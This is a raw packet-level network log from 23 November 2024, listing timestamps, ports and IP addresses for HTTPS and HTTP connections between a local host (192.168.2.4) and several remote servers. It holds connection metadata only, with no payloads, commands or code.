Nov 23, 2024 18:22:06.861884117 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.862301111 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.862308025 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.995991945 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:06.996038914 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:06.996099949 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:06.996443033 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:06.996457100 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:07.044714928 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.044873953 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.044959068 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.045404911 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.045404911 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.045428991 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.045440912 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.058089972 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.058156013 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.058243036 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.058393955 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.058406115 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.124408007 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.124588013 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.124710083 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.124953032 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.124984026 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.124999046 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.125006914 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.127882957 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.127913952 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.128005981 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.128175020 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.128204107 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.215197086 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.215388060 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.215557098 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.215671062 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.215694904 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.215709925 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.215717077 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.218633890 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.218682051 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.218789101 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.218940973 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.218955040 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.250564098 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.250703096 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.250765085 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.250852108 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.250861883 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.250905037 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.250910044 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.253019094 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.253066063 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.253210068 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.253328085 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.253340960 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.316430092 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.316598892 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.316669941 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.316783905 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.316802025 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.316811085 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.316817999 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.319582939 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.319622993 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.319681883 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.319817066 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:07.319833040 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:07.518472910 CET	49742	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:07.518804073 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:07.638395071 CET	80	49742	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:07.638431072 CET	80	49754	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:07.638449907 CET	49742	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:07.638499975 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:07.638830900 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:07.763962030 CET	80	49754	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:08.824239016 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:08.824336052 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:08.825891018 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:08.825897932 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:08.826257944 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:08.837120056 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:08.882469893 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:08.883027077 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:08.883059025 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:08.883327007 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:08.883486986 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:08.883492947 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:08.995901108 CET	80	49754	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:08.997466087 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:09.001812935 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:09.032453060 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.035912037 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.035933018 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.036391973 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.036398888 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.065807104 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.067709923 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.067754030 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.068145037 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.068161011 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.083437920 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.083843946 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.083884954 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.084239960 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.084244967 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.121375084 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:09.123660088 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:09.123831034 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:09.145122051 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.145487070 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.145534039 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.145898104 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.145914078 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.246401072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:09.327061892 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.327244997 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.327301025 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.327560902 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.327579975 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.327594042 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.327600956 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.332979918 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.333024979 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.333070040 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.333492041 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.333515882 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.470598936 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.470765114 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.470844030 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.484304905 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.484328032 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.484347105 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.484355927 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.520922899 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.521003008 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.521081924 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.528357983 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.528534889 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.528593063 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.537095070 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.537122965 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.537142038 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.537179947 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:09.537189007 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.537218094 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:09.537237883 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:09.576939106 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.576977968 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.577040911 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:09.577060938 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.577073097 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:09.577100992 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.577137947 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:09.592554092 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.592698097 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.592772007 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.665364981 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.665472031 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.665548086 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.667375088 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.667412996 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.667749882 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.667777061 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.667794943 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.667803049 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.670175076 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.670198917 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.670214891 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.670221090 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.678267002 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.678317070 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.678348064 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.678364038 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.700408936 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:09.700422049 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.700438023 CET	49748	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:22:09.700443983 CET	443	49748	4.245.163.56	192.168.2.4
Nov 23, 2024 18:22:09.730647087 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.730684996 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.730753899 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.730849028 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.730865002 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.733161926 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.733177900 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.733239889 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.733971119 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.733995914 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.734065056 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.734179974 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.734193087 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:09.735841036 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:09.735857010 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:10.470752954 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470804930 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470820904 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470848083 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470864058 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470865965 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.470865965 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.470879078 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470895052 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470911980 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470917940 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.470927000 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470942974 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.470962048 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.470963001 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.470999002 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.592641115 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.592695951 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.592794895 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.592928886 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.666841984 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.666857958 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.667000055 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.669152021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.669284105 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.669351101 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.677907944 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.677943945 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.678067923 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.685367107 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.685405016 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.685481071 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.692612886 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.692742109 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.692801952 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.701464891 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.701558113 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.701603889 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.701673031 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.709913015 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.709983110 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.710066080 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.710131884 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.719011068 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.719082117 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.719156027 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.719217062 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.726772070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.726861954 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.726876974 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.726938009 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.735340118 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.735435009 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.735446930 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.735493898 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.744072914 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.744146109 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.744209051 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.744282961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.795578003 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.795701027 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.856769085 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.856849909 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.856894970 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.856950998 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.860887051 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.860943079 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.862320900 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.862371922 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.862472057 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.862523079 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.870321035 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.870398045 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.870480061 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.870531082 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.876189947 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.876238108 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.876305103 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.876374960 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.884248018 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.884318113 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.884339094 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.884427071 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.892308950 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.892368078 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.892416954 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.892416954 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.900260925 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.900329113 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.900332928 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.900410891 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.908298969 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.908396006 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.908402920 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.908472061 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.916321039 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.916404963 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.916407108 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.916460037 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.924319029 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.924405098 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.924472094 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.924581051 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.932338953 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.932394028 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.932475090 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.932595968 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.940383911 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.940485001 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.940495968 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.940560102 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.941776991 CET	49724	80	192.168.2.4	199.232.210.172
Nov 23, 2024 18:22:10.944761038 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.944829941 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.944895029 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.944948912 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.949029922 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.949096918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.949151993 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.949202061 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.953380108 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.953438044 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.953500032 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.953548908 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.957732916 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.957796097 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.957819939 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.957884073 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.962196112 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.962224007 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.962357044 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.962357044 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.966480017 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.966532946 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.966543913 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.966583014 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.970825911 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.970906973 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.971594095 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.971643925 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:10.975440025 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.975476027 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:10.975580931 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.046597958 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.046638012 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:11.046786070 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:11.048773050 CET	80	49755	185.215.113.16	192.168.2.4
